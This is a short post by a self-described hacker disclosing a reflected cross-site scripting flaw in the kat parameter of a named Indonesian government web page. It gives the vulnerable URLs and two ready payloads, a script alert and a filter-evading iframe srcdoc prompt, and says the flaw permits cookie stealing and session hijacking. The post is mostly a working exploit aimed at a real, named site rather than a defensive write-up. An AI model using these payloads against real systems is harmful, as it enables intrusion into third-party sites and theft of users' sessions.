#Nick name: KHS1N Cyber 07 #from : Indonesia #Youtube : HCT Sec07 #contact : kuliahdopermanent@gmail.com Note : The XSS bug also allows an attacker to go through a hijack session This bug allows the attacker / hacker to do cookie stealing Vulnerabilty : #XSS (cross site scripting) #url poisoning domain & dir site vulnerable: https://sakuin.kominfo.go.id/sakuin/kategori.php?kat=+khs1n+cyber+07 https://sakuin.kominfo.go.id/sakuin/kategori.php?kat= payload : <script>alert(123)</script> xss'"><iframe srcdoc='%26lt;script>;prompt`${document.domain}`%26lt;/script>'>